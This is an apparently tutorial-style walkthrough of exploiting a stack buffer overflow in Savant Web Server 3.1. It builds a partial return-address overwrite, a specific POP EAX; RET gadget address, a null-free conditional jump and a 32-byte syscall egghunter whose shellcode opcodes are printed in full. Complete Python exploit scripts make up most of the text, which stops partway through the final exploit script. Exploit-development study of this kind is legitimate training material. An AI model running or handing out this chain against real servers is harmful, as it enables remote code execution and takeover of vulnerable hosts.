Executive Summary
Classic stack buffer overflows on 32-bit Windows services frequently land an attacker in a constrained position: deterministic EIP control is achieved, but the crash buffer itself is far too small to hold a real second-stage payload such as a Meterpreter reverse shell. With a typical envelope of 60–120 bytes and a payload demand of 350–500 bytes, the gap cannot be closed by shellcode compression alone. This walkthrough targets Savant Web Server 3.1 on TCP/8000, a 32-bit Windows daemon vulnerable to unbounded strcpy on the URL path, and demonstrates a complete two-stage egghunter chain that bridges the space deficit using a heap-staged secondary buffer.
The exploit chain combines a partial three-byte EIP overwrite (the server appends the null high byte automatically, defeating the null-byte module base constraint) with a POP EAX; RET gadget that pivots execution through esp+4 into the HTTP method field. From there, a seven-byte XOR ECX,ECX; TEST ECX,ECX; JZ rel32 conditional jump — whose displacement nulls are supplied by the server’s pre-zeroed copy buffer — redirects flow into the 253-byte filler region where a compact egghunter sits. Two egghunter variants are built end-to-end: a 32-byte syscall-based scanner using INT 0x2E and NtAccessCheckAndAuditAlarm (with a NEG-trick to encode the Windows 10 syscall index 0x1C8 null-free), and a portable 63-byte SEH-based scanner that installs a custom _EXCEPTION_REGISTRATION_RECORD at FS:[0] and walks virtual memory via REPE SCASD until it locates the w00tw00t egg marker prefixing the heap-staged payload.
1. Introduction: The Space Problem
Every offensive practitioner who has worked through a real-world stack overflow eventually hits the same wall. Deterministic EIP control is one problem; finding 400 bytes of contiguous, bad-character-free buffer is an entirely different one. When the smashable region tops out at roughly 60 to 120 bytes and the desired payload — a staged Meterpreter, a Cobalt Strike beacon stager, or any non-trivial command-and-control loader — comfortably exceeds 350 bytes, traditional inline shellcode delivery simply does not fit. Egghunters were invented precisely for this asymmetry.
The technique splits delivery into two cooperating stages. Stage 1 is a tiny scanner stub, typically 32 to 70 bytes, that sits in the constrained crash buffer and walks the entire 32-bit virtual address space looking for a known marker. Stage 2 is the real payload, prefixed by that marker (the “egg”), staged separately in a memory region with no such size pressure — usually a heap allocation populated through a different parser path. Because the scanner discovers the marker at runtime, Stage 2 does not need a stable, predictable address. Hardcoded addresses break the moment heap layout shifts; a marker scan does not.



2. Target: Savant Web Server 3.1
Savant Web Server 3.1 is a 32-bit Windows HTTP daemon that listens on TCP port 8000 by default. Its URL path handler uses an unbounded strcpy-style copy, so any oversized GET request overflows a stack buffer and overwrites the saved return address. From a mitigation perspective, the binary is almost a museum exhibit: there is no ASLR, no DEP, no SafeSEH, and stack cookies are absent. However, there is one critical operational constraint: the loaded module base addresses all begin with 0x00 (the canonical 0x00xxxxxx layout for non-ASLR Win32 PE images), which means every gadget address starts with a null byte. Combined with a copy routine that truncates on \x00, this forces the operator into a partial-overwrite strategy instead of writing the full four-byte address directly.
The bad-character set is short but consequential: \x00 (null terminator), \x0a (LF), \x0d (CR), \x20 (space), and \x25 (percent — URL-encoding sentinel). Every byte placed into the URL path must avoid that set, which is what shapes the entire encoding strategy for the egghunter and the gadget address.
3. Triggering the First Crash
The shortest path to a usable crash is a 260-byte filler in the URL path. The script below builds a minimal GET / request, pads it with 260 copies of A, and terminates the headers with \r\n\r\n. Sending it to a Savant instance with WinDbg attached produces a clean overwrite of EIP with 0x41414141, the textbook signature of deterministic instruction-pointer control.
import socket
from struct import pack
import sys
try:
server = sys.argv[1]
port = 8000
size = 260
method = b"GET /"
filler = b"A" * size
payload = method + filler + b"\r\n\r\n"
print("[+] Sending Evil Buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.recv(1024)
s.close()
print("[+] Evil Buffer Sent...")
except Exception as e:
print(f"[!] Could Not Connect: {e}")
sys.exit(0)



4. Analyzing the Crash
EIP holds 0x41414141 — four filler bytes — which proves the overflow is deterministic and the offset is within reach. What requires more thought is what comes after EIP is hijacked. The first inspection of the stack shows that the server, treating the input as a C string, appended a null terminator before returning, so the top of the stack contains only three usable filler bytes followed by 0x00. That detail will determine the gadget choice in the next section.
4.1 Register State at Crash
The WinDbg register window confirms the textbook outcome. EIP is full of padding bytes, and the general-purpose registers reflect post-overflow corruption. The important takeaway is not their precise values but the determinism: every run produces the same EIP overwrite, which is the prerequisite for building a stable ROP/partial-overwrite chain.

4.2 Where Does the Shellcode Land?
Dumping the stack with dds @esp L5 shows the value at the top of stack is 0x00414141 — three controlled bytes plus the appended null. Not enough room to land a shellcode directly via a JMP ESP. However, the second slot, at esp+4, holds a pointer into the controlled input region. Dereferencing it reveals the literal GET / prefix followed by the 260-byte A field. That pointer becomes the lever we will pull with a POP EAX; RET gadget to redirect execution into the buffer.



5. Bad Character Identification
Before any address or opcode can be placed in the URL path, the operator must know which raw bytes the parser will accept verbatim. The technique is universal: send the full \x01 through \xff byte range as a contiguous block, then inspect process memory in the debugger to see which bytes were dropped, mangled, or truncated copy at. If the application does not crash at all, at least one byte in that block terminated the copy before reaching EIP.
import socket
from struct import pack
import sys
try:
server = sys.argv[1]
port = 8000
size = 260
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e"
b"\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d"
b"\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c"
b"\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b"
b"\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69"
b"\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78"
b"\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87"
b"\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96"
b"\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5"
b"\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4"
b"\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3"
b"\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2"
b"\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1"
b"\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
method = b"GET /"
filler = b"A" * (size - len(badchars))
payload = method + badchars + filler + b"\r\n\r\n"
print("[+] Sending Evil Buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.recv(1024)
s.close()
print("[+] Evil Buffer Sent...")
except Exception as e:
print(f"[!] Could Not Connect: {e}")
sys.exit(0)



Confirmed bad characters:
\x00\x0a\x0d\x20\x25
6. Finding the EIP Offset
With the bad-character set known, the next step is locating the exact byte offset at which the four-byte EIP value is overwritten. The first attempt uses Metasploit’s canonical De Bruijn cyclic pattern, but in this engagement that approach is contaminated by the bad-character truncation issue, requiring a manual binary search to converge on the precise offset.
6.1 Cyclic Pattern Attempt
Metasploit’s pattern_create.rb produces a 260-byte string in which every four-byte window is unique — the textbook way to recover an offset with a single crash. Unfortunately, the pattern contains many bytes that are bad for Savant, and the copy routine terminates partway through. The result in WinDbg is unusable: EIP is overwritten by whatever bytes happened to fall into position after truncation, with no clean four-byte alignment that pattern_offset.rb can match.
import socket
from struct import pack
import sys
try:
server = sys.argv[1]
port = 8000
size = 260
method = b"GET /"
filler = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai"
payload = method + filler + b"\r\n\r\n"
print("[+] Sending Evil Buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.recv(1024)
s.close()
print("[+] Evil Buffer Sent...")
except Exception as e:
print(f"[!] Could Not Connect: {e}")
sys.exit(0)



6.2 Manual Binary Search
The fallback is the oldest trick in the book: split the buffer into two halves filled with different characters, observe which half overwrote EIP, then recursively bisect. Send 130 A‘s followed by 130 B‘s and check EIP: if it reads 0x42424242, the offset is somewhere in the upper 130 bytes. Repeat with quarter-buffers, then eighths, until the boundary is pinned down. The process converges quickly and is immune to the cyclic-pattern truncation problem because the only bytes involved are A and B, both perfectly safe.
import socket
from struct import pack
import sys
try:
server = sys.argv[1]
port = 8000
size = 260
method = b"GET /"
filler = b"A" * 130
filler += b"B" * 130
payload = method + filler + b"\r\n\r\n"
print("[+] Sending Evil Buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.recv(1024)
s.close()
print("[+] Evil Buffer Sent...")
except Exception as e:
print(f"[!] Could Not Connect: {e}")
sys.exit(0)



After several iterations the boundary converges to exactly 253 bytes of A-filler before the four-byte EIP field. A targeted verification payload sends 253 A‘s, four B‘s at the EIP slot, and pad C bytes to round out the request. WinDbg confirms EIP equals 0x42424242 with no slop, locking the offset.
import socket
from struct import pack
import sys
try:
server = sys.argv[1]
port = 8000
size = 260
method = b"GET /"
filler = b"A" * 253
EIP = b"B" * 4
junk = b"C" * (size - len(filler) - len(EIP))
payload = method + filler + EIP + junk + b"\r\n\r\n"
print("[+] Sending Evil Buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.recv(1024)
s.close()
print("[+] Evil Buffer Sent...")
except Exception as e:
print(f"[!] Could Not Connect: {e}")
sys.exit(0)



7. The Null-Byte Constraint and the Partial Overwrite
The 253-byte offset is locked, but writing a usable EIP value runs into the null-byte problem head-on. Every gadget address in the only available module begins with 0x00, and 0x00 is the first item on the bad-character list. A naive four-byte little-endian write would terminate the copy at the high null byte. The fix is to exploit the parser’s behavior against itself.
7.1 Module Audit
The first move is auditing the loaded modules for any with a non-null high byte that could provide unconstrained gadgets. Loading the narly WinDbg extension and running !nmod enumerates every module’s address range along with its protection flags (DEP, ASLR, SafeSEH, etc.). The result is bleak: only savant.exe is in scope, and its image base sits squarely in the 0x00xxxxxx range.


7.2 The Partial Overwrite Solution
The behavior observed at the very first crash — the server appending a null terminator to the copy — is the key. If only three bytes are placed at offset 253 and the request ends, the copy routine will obligingly write the fourth byte (a null) on its own. That null is the very byte we cannot send through the URL path but desperately need as the high byte of the gadget address. The constraint becomes the mechanism.



7.3 Performing the Partial Overwrite
The test payload sends three B bytes at offset 253 and nothing more in the EIP slot. The server completes the four-byte EIP write with its own appended 0x00. WinDbg shows EIP as 0x00424242, exactly as expected: three controlled bytes plus a server-supplied null in the high position. The technique is confirmed and ready to be paired with a real gadget address.
import socket
from struct import pack
import sys
try:
server = sys.argv[1]
port = 8000
size = 260
method = b"GET /"
filler = b"A" * 253
EIP = b"B" * 3
# server appends \x00 as the 4th byte
junk = b"C" * (size - len(filler) - len(EIP))
payload = method + filler + EIP + junk + b"\r\n\r\n"
print("[+] Sending Evil Buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.recv(1024)
s.close()
print("[+] Evil Buffer Sent...")
except Exception as e:
print(f"[!] Could Not Connect: {e}")
sys.exit(0)



8. Selecting the Gadget: POP EAX; RET
8.1 Why POP EAX; RET?
The choice of POP EAX; RET is not arbitrary. Recall that ESP points to three garbage bytes plus a null, while esp+4 holds a pointer into the controlled buffer. A plain RET would return into the garbage at ESP; we need to consume that slot first. POP EAX handles two problems at once: it removes the unwanted stack word and loads EAX with a valid (stack) address. The “valid EAX” detail matters because the bytes immediately following the RET destination in the method field will disassemble into instructions that touch EAX, and if EAX held something un-dereferenceable, the process would fault before the egghunter ever runs.





8.2 Finding the Gadget
The opcode sequence for POP EAX; RET is the two-byte sequence \x58\xC3. nasm_shell confirms the encoding. Searching the savant.exe image with WinDbg’s s -[1]b command for that byte pair returns address 0x00418674. The low three bytes — \x74\x86\x41 — contain none of the bad characters, so the address can be written through the URL path with the trailing null supplied by the server.


![s -[1]b — POP EAX; RET found at 0x00418674](https://core-jmp.org/wp-content/uploads/2026/06/sc35-search-58c3.png)
8.3 Updating the Exploit
The exploit now sends pack("<L", 0x418674) for EIP; only the three low bytes traverse the wire, and the server’s null append completes the address. WinDbg’s breakpoint at 0x00418674 fires on the next run, confirming the partial overwrite. Stepping through POP EAX and RET lands execution inside the 253-byte A-filler region. The remaining task is to plant code there that jumps forward into something useful.
import socket
from struct import pack
import sys
try:
server = sys.argv[1]
port = 8000
size = 260
method = b"GET /"
filler = b"A" * 253
EIP = pack("<L", 0x418674) # POP EAX; RET - 3 bytes written, null appended
payload = method + filler + EIP + b"\r\n\r\n"
print("[+] Sending Evil Buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.recv(1024)
s.close()
print("[+] Evil Buffer Sent...")
except Exception as e:
print(f"[!] Could Not Connect: {e}")
sys.exit(0)







9. Redirecting Execution: the Method Field
After RET consumes the second stack slot, execution lands at the address held by esp+4 — which dereferenced earlier as pointing at the start of the HTTP method bytes, the literal GET /. Those bytes will be executed as code. Since “GET /” disassembles into garbage and there is plenty of room before the A-filler, the method field becomes a free coding region for a small jump instruction that skips past the inert filler and into whatever real shellcode (the egghunter) we plant later in the 253-byte region.
9.1 Testing the Method Field
The first sanity check is whether the method bytes survive the copy verbatim. Replacing the eight characters before the trailing " /" with 0x43 bytes and inspecting memory in WinDbg confirms the method region is fully under attacker control with no bad-character constraints beyond the universal set.
import socket
from struct import pack
import sys
try:
server = sys.argv[1]
port = 8000
size = 260
method = b"\x43\x43\x43\x43\x43\x43\x43\x43" + b" /"
filler = b"A" * 253
EIP = pack("<L", 0x418674) # POP EAX; RET
payload = method + filler + EIP + b"\r\n\r\n"
print("[+] Sending Evil Buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.recv(1024)
s.close()
print("[+] Evil Buffer Sent...")
except Exception as e:
print(f"[!] Could Not Connect: {e}")
sys.exit(0)



9.2 Attempting a Short Jump
The natural first attempt at forward redirection is a JMP SHORT +0x17 encoded as \xEB\x17. It is two bytes long, null-free, and a perennial favorite. Unfortunately, in this particular memory region the \xEB opcode is corrupted on its way through the copy — perhaps mangled by some pre-parsing filter the way the bad-character test surfaced. Whatever the cause, the short-jump encoding cannot be used, and an alternative null-free jump must be engineered.
import socket
from struct import pack
import sys
try:
server = sys.argv[1]
port = 8000
size = 260
method = b"\xeb\x17\x90\x90" + b" /"
filler = b"A" * 253
EIP = pack("<L", 0x418674)
payload = method + filler + EIP + b"\r\n\r\n"
print("[+] Sending Evil Buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.recv(1024)
s.close()
print("[+] Evil Buffer Sent...")
except Exception as e:
print(f"[!] Could Not Connect: {e}")
sys.exit(0)



10. The Conditional Jump Trick
10.1 Theory
A conditional jump that is always taken is operationally indistinguishable from an unconditional jump but uses different opcodes. Zeroing a register with XOR ECX, ECX sets the Zero Flag; TEST ECX, ECX evaluates ECX without disturbing it and preserves ZF; JZ rel32 then fires unconditionally because ZF is already set. The encoded form of the long-displacement JE is \x0F\x84 followed by a 32-bit signed offset.

10.2 The Pre-Zeroed Memory Trick
The four-byte displacement \x11\x00\x00\x00 contains three null bytes that would normally terminate the copy. The trick is that Savant zero-initializes its destination buffer before performing the copy. The bytes beyond the end of what we send are therefore already 0x00. By writing only the first seven bytes of the seven-byte sequence (\x31\xC9\x85\xC9\x0F\x84\x11), the trailing nulls of the JE displacement come from the destination buffer’s pre-zeroed state. The constraint becomes a feature for the second time in this engagement.
10.3 Updated Exploit
The exploit now places the seven-byte sequence in the method field. Two steps after POP EAX; RET executes, the JZ fires and EIP lands inside the A-filler region. The redirect chain is complete, and any code (specifically, the upcoming egghunter) placed in the filler will run.
import socket
from struct import pack
import sys
try:
server = sys.argv[1]
port = 8000
size = 260
# xor ecx,ecx; test ecx,ecx; jz 0x17 (7 bytes, null-free)
method = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /"
filler = b"A" * 253
EIP = pack("<L", 0x418674) # POP EAX; RET
payload = method + filler + EIP + b"\r\n\r\n"
print("[+] Sending Evil Buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.recv(1024)
s.close()
print("[+] Evil Buffer Sent...")
except Exception as e:
print(f"[!] Could Not Connect: {e}")
sys.exit(0)




11. Measuring the Available Buffer Space
With the redirect chain finalized, a real arithmetic question can be answered: how many usable bytes are left for shellcode in the crash buffer? Subtracting the overhead consumed by the method field, the alignment padding, and the EIP field, WinDbg’s expression evaluator yields 0xfb — 251 bytes. A typical Meterpreter reverse-TCP payload runs 350 to 500 bytes after encoding to avoid the bad-character set, so the shortfall is roughly 150 bytes. That hard arithmetic is what makes the egghunter architecture necessary.


12. Staging the Secondary Buffer in the Heap
12.1 The Idea
The HTTP body, which arrives after the \r\n\r\n end-of-headers marker, is parsed by Savant into a separate buffer that lives in the process heap. Because the crash happens during URL-path processing, body parsing has already populated that heap buffer with the attacker-controlled bytes by the time control of EIP is hijacked. Two delivery channels, two different storage regions, two independent byte sets — the egghunter’s job is to find the heap buffer’s address at runtime by scanning for the egg marker.
12.2 First Attempt: Wrong Terminator
The first attempt places the egg marker and a dummy 400-byte D-buffer after a single \r\n. That is not enough to close the HTTP headers, so Savant waits for additional data instead of completing the parse and triggering the crash. The application stays alive, and no crash is produced. The fix is the proper double-CRLF terminator.
import socket
from struct import pack
import sys
try:
server = sys.argv[1]
port = 8000
size = 260
method = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /"
filler = b"A" * 253
EIP = pack("<L", 0x418674)
teminator = b"\r\n"
egg = b"w00tw00t" + b"D" * 400
payload = method + filler + EIP + teminator + egg + b"\r\n\r\n"
print("[+] Sending Evil Buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.recv(1024)
s.close()
print("[+] Evil Buffer Sent...")
except Exception as e:
print(f"[!] Could Not Connect: {e}")
sys.exit(0)



12.3 Correct Terminator
Moving the egg-prefixed secondary buffer after a proper \r\n\r\n terminator solves the problem. The headers close, parsing of the body completes, the heap allocation is populated, and the URL-path copy then triggers the overflow. The crash now occurs while the secondary buffer is already resident in memory, ready to be found.
import socket
from struct import pack
import sys
try:
server = sys.argv[1]
port = 8000
size = 260
method = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /"
filler = b"A" * 253
EIP = pack("<L", 0x418674)
shellcode = b"w00tw00t" + b"D" * 400
payload = method + filler + EIP + b"\r\n\r\n" + shellcode
print("[+] Sending Evil Buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.recv(1024)
s.close()
print("[+] Evil Buffer Sent...")
except Exception as e:
print(f"[!] Could Not Connect: {e}")
sys.exit(0)



12.4 Verifying the Secondary Buffer
WinDbg’s ASCII search (s -a) locates the string w00tw00t at heap address 0x023b6c1e. A dc dump of that address confirms the marker is followed by an unbroken 400-byte D-buffer. The !teb command shows that the address is outside StackBase/StackLimit (confirming it is not on the stack), and !address reports the region as MEM_COMMIT, PAGE_READWRITE, with usage flagged as Heap. The body parser delivered everything we asked for, exactly where we hoped it would land.





13. The Windows Heap Manager
A brief detour into theory clarifies why hardcoding addresses fails. The Windows heap manager is a software abstraction over the kernel’s virtual memory subsystem. Functions like HeapAlloc hand out variable-sized blocks carved from one or more pages obtained via VirtualAlloc, with per-block metadata tracking size and free/used status. Because the address returned by an allocation depends on the order and size of every prior allocation in the process, two runs of the same program with the same input rarely produce identical heap layouts. Add LFH randomization and segment heap on modern builds, and the variance is enormous. An egghunter sidesteps this entirely by discovering the address at runtime via a content scan, requiring only that the egg marker eventually appears somewhere in mapped memory.
14. The Keystone Assembler Engine
Writing an egghunter by hand — computing each relative jump displacement, tracking instruction lengths, watching for embedded nulls — is exhausting and error-prone. The Keystone Engine is a Python-callable multi-architecture assembler that takes textual assembly and returns raw opcode bytes, automating label resolution and offset arithmetic in the same way nasm does at the command line. It is the right tool for iterating on small position-independent payloads where every byte matters.



15. The Syscall-Based Egghunter
15.1 Concept: Using the Kernel as a Memory Probe
Naive scanning would walk memory by reading directly from candidate pointers, but on an unmapped page that fails with an unhandled access violation and kills the process. The kernel, however, can be asked to perform the same access on the user’s behalf. NtAccessCheckAndAuditAlarm is one such syscall: invoke it via INT 0x2E, and if the supplied address is in an inaccessible page, the kernel returns STATUS_ACCESS_VIOLATION (0xC0000005) instead of crashing the caller. Check the low byte (0x05) and skip ahead a page when it is set. The process survives the scan because the dangerous dereference happens in ring 0, not ring 3.
15.2 Full Egghunter Code
The complete syscall egghunter is 32 bytes. It uses EDX as the address counter, EAX for the syscall number and egg signature, and EDI as the SCASD pointer. The structure is: align to end of current page, advance one byte, save EDX, issue the syscall, check the result, restore EDX, jump to next page on access violation, otherwise compare two consecutive DWORDs to the egg via SCASD, and finally JMP EDI on a full match.
from keystone import *
CODE = (
# We use the edx register as a memory page counter
" "
" loop_inc_page: " # Go to the last address in the memory page
" or dx, 0x0fff ;"
" loop_inc_one: " # Increase the memory counter by one
" inc edx ;"
" loop_check: " # Save the edx register which holds our memory address on the stack
" push edx ;" # Push the system call number
" push 0x2 ;" # Initialize the call to NtAccessCheckAndAuditAlarm
" pop eax ;" # Perform the system call
" int 0x2e ;" # Check for access violation, 0xc0000005 (ACCESS_VIOLATION)
" cmp al, 0x05 ;" # Restore the edx register to check later for our egg
" pop edx ;"
" loop_check_valid: " # If access violation encountered, go to next page
" je loop_inc_page ;"
" is_egg: " # Load egg (w00t in this example) into the eax register
" mov eax, 0x74303077 ;" # Initialize pointer with current checked address
" mov edi, edx ;" # Compare eax with doubleword at edi and set status flags
" scasd ;" # No match, increase our memory counter by one
" jnz loop_inc_one ;" # First part of the egg detected, check for the second part
" scasd ;" # No match, we found just a location with half an egg
" jnz loop_inc_one ;"
" matched: " # The edi register points to the first byte of our buffer
" jmp edi ;" )
# Initialise engine in 32-bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
instructions = ""
for dec in encoding:
instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")
print(f"Opcodes: {instructions}")

15.3 Instruction-by-Instruction Walkthrough
The page-skip logic begins with OR DX, 0x0FFF, which forces the low 12 bits of the low 16 bits of EDX to 1, landing the pointer on the last byte of the current 4 KiB page. INC EDX then carries into the next page. The clever bit is that this works as a one-byte advance everywhere except at a page boundary, where it functions as a giant skip.













![SCASD — compare [EDI] with EAX; EDI advances by 4](https://core-jmp.org/wp-content/uploads/2026/06/sc84-scasd.png)
![Intel manual — SCASD: compares EAX with [EDI] and increments EDI by 4](https://core-jmp.org/wp-content/uploads/2026/06/sc85-scasd-reference.png)




16. Running the Egghunter — First Attempt
16.1 Generating the Opcodes
Running the Keystone script produces 32 bytes of null-free opcodes, printed as a Python escape-sequence literal ready to paste into the exploit. The output format makes substitution trivial: copy the string, paste it in place of the A-filler portion of the crash buffer, and prepend a small NOP sled for landing tolerance.
# Sample Keystone output for the syscall-based egghunter
Opcodes: \x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7

16.2 Adding the Egghunter to the Exploit
The egghunter replaces the leading portion of the A-filler. Eight 0x90 NOPs precede it as a landing sled, and the remaining A’s pad out to the 253-byte offset. The secondary heap buffer carries the w00tw00t egg followed by 400 dummy D bytes. On the first run, the conditional jump correctly lands inside the egghunter, but the JMP EDI breakpoint is never reached — access violations flow continuously and the scanner never matches. Something is wrong with the syscall.
import socket
from struct import pack
import sys
try:
server = sys.argv[1]
port = 8000
size = 260
method = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /"
egghunter = (b"\x90" * 8) + b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
filler = b"A" * (253 - len(egghunter))
EIP = pack("<L", 0x418674)
shellcode = b"w00tw00t" + b"D" * 400
payload = method + egghunter + filler + EIP + b"\r\n\r\n" + shellcode
print("[+] Sending Evil Buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.recv(1024)
s.close()
print("[+] Evil Buffer Sent...")
except Exception as e:
print(f"[!] Could Not Connect: {e}")
sys.exit(0)








17. Debugging the Syscall Number
17.1 Why the Egghunter Loops
The classic syscall egghunter used EAX = 0x02 for NtAccessCheckAndAuditAlarm, but that index was the correct one on Windows XP. The Windows native syscall table is renumbered between major builds, and on Windows 10 the index for that function is entirely different. The kernel happily executes some syscall when the egghunter fires INT 0x2E, but it is not the one that returns STATUS_ACCESS_VIOLATION on unmapped pages, so the page-skip logic never engages. The scanner walks the entire address space byte by byte, faults repeatedly, and never matches anything.






17.2 Finding the Correct Syscall Number
The authoritative source of the current syscall index is the user-mode stub in ntdll.dll. Disassembling ntdll!NtAccessCheckAndAuditAlarm reveals a textbook syscall stub starting with MOV EAX, 0x1C8. That value — 456 decimal — is the correct ordinal for this Windows 10 build.

17.3 The Null-Byte Problem with 0x1C8
Substituting PUSH 0x1C8 in the Keystone source seems like a trivial fix until the opcodes are inspected. PUSH with a 32-bit immediate encodes the value as a full DWORD, so 0x000001C8 appears in the stream as \x00\x00\x01\xC8. That is two embedded null bytes — instant truncation in the URL path. A different encoding strategy is required.
from keystone import *
CODE = (
" "
" loop_inc_page: "
" or dx, 0x0fff ;"
" loop_inc_one: "
" inc edx ;"
" loop_check: "
" push edx ;" # Updated syscall number
" push 0x1C8 ;"
" pop eax ;"
" int 0x2e ;"
" cmp al, 0x05 ;"
" pop edx ;"
" loop_check_valid: "
" je loop_inc_page ;"
" is_egg: "
" mov eax, 0x74303077 ;"
" mov edi, edx ;"
" scasd ;"
" jnz loop_inc_one ;"
" scasd ;"
" jnz loop_inc_one ;"
" matched: "
" jmp edi ;" )
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
instructions = ""
for dec in encoding:
instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")
print(f"Opcodes: {instructions}")


18. The NEG Trick: Null-Free Encoding of 0x1C8
18.1 Arithmetic Encoding
If an immediate cannot be encoded directly without producing null bytes, the trick is to compute it at runtime from a different immediate that does encode cleanly. Two’s-complement negation supplies the answer: 0 - 0x1C8 = 0xFFFFFE38. The byte sequence for MOV EAX, 0xFFFFFE38 is \xB8\x38\xFE\xFF\xFF — no nulls. NEG EAX follows as a two-byte instruction (\xF7\xD8), also null-free. At execution time EAX ends up holding 0x000001C8 exactly as needed, with no 0x00 ever appearing in the encoded payload.

18.2 Updated Egghunter Script
The Keystone source now uses MOV EAX, 0xfffffe38; NEG EAX instead of PUSH 0x1C8; POP EAX. The output is a fully null-free 32-byte stub that probes memory with the correct Windows 10 syscall index. A grep of the output confirms there are zero null bytes.
from keystone import *
CODE = (
" "
" loop_inc_page: "
" or dx, 0x0fff ;"
" loop_inc_one: "
" inc edx ;"
" loop_check: "
" push edx ;" # Null-free encoding of syscall 0x1C8
" mov eax, 0xfffffe38 ;"
" neg eax ;"
" int 0x2e ;"
" cmp al, 0x05 ;"
" pop edx ;"
" loop_check_valid: "
" je loop_inc_page ;"
" is_egg: "
" mov eax, 0x74303077 ;"
" mov edi, edx ;"
" scasd ;"
" jnz loop_inc_one ;"
" scasd ;"
" jnz loop_inc_one ;"
" matched: "
" jmp edi ;" )
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
instructions = ""
for dec in encoding:
instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")
print(f"Opcodes: {instructions}")


19. Getting a Shell — Syscall Egghunter
19.1 Updated Exploit
The corrected null-free 32-byte egghunter slots into the crash buffer in place of the broken one. Everything else — the conditional jump in the method field, the partial overwrite at offset 253, the heap-staged secondary buffer — remains untouched. WinDbg confirms the new MOV/NEG encoding is present in memory and null-free, then resumes execution. Access violations flow as the scanner walks the address space; eventually the JMP EDI breakpoint fires, with EDI pointing eight bytes past the egg marker — precisely at the first byte of the staged payload.
import socket
from struct import pack
import sys
try:
server = sys.argv[1]
port = 8000
size = 260
method = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /"
